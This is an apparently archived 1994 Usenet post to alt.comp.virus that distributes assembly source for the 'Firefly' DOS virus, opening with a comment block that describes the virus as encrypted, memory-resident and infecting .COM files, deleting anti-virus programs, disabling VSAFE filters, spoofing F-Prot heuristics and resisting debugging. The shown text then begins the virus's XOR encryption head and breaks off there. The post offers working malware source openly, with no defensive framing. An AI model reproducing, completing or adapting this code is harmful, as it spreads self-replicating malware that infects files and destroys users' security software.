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76 lines
3.2 KiB
NASM
76 lines
3.2 KiB
NASM
From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!geraldo.cc.utexas.edu!axpvms.cc.utexas.edu!HALFLIFE Tue Nov 29 09:56:01 1994
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Xref: netcom.com alt.comp.virus:491
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Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!geraldo.cc.utexas.edu!axpvms.cc.utexas.edu!HALFLIFE
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From: halflife@axpvms.cc.utexas.edu
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Newsgroups: alt.comp.virus
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Subject: Firefly virus
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Date: 28 Nov 1994 08:51:37 GMT
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Organization: University of Texas @ Austin
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Lines: 61
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Message-ID: <3bc5mq$p63@geraldo.cc.utexas.edu>
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Reply-To: halflife@axpvms.cc.utexas.edu
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NNTP-Posting-Host: axpvms.cc.utexas.edu
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;FIREFLY virus, by Nikademus.
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;
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;Firefly is an encrypted, memory resident virus which infects
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;.COMfiles on load. It incorporates code from Proto-T,
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;LokJaw and YB-X viruses and, when in memory, attacks a large selection
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;of anti-virus programs as they are executed. Anti-virus programs
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;identified by Firefly's execute/load handler are deleted.
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;Firefly incorporates simple code from previous issues of the newsletter
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;designed to de-install generic VSAFE resident virus activity
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;filters designed for Microsoft by Central Point Software. It
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;contains instructions - specifically a segment of pseudo-nested
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;loops - which spoof F-Protect's expert system generic virus
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;identification feature.
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;
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;FIREFLY also includes a visual marker tied to the system timer
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;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
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;and ScrollLock LEDs on the keyboard. This produces a noticeable
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;twinkling effect when the virus is active on a machine.
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;
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;Anti-anti-virus measures used by Firefly vary in effectiveness
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;dependent upon how a user employs software. For example, while
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;Firefly is designed to delete the Victor Charlie anti-virus
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;shell, VC.EXE, a user who employs the software packages utilities
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;for generic virus detection singly, will not be interfered with
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;by the virus. Your results may vary, but the virus does effectively
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;delete anti-virus programs while in memory unless steps are taken
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;beforehand to avoid this.
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;
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;Firefly incorporates minor code armoring techniques designed to thwart
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;trivial debugging.
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.radix 16
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code segment
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model small
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assume cs:code, ds:code, es:code
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org 100h
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len equ offset last - start
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vir_len equ len / 16d ; 16 bytes per paragraph
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encryptlength equ (last - begin)/4+1
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start:
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mov bx, offset begin ; The Encryption Head
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mov cx, encryptlength ;
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encryption_loop: ;
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db 81h ; XOR WORD PTR [BX], ????h
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db 37h ;
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encryption_value_1: ;
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dw 0000h ;
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;
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db 81h ; XOR WORD PTR [BX+2], ????h
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db 77h ;
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db 02h ; 2 different random words
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encryption_value_2: ; give 32-bit encryption
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dw 0000h ;
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add bx, 4 ;
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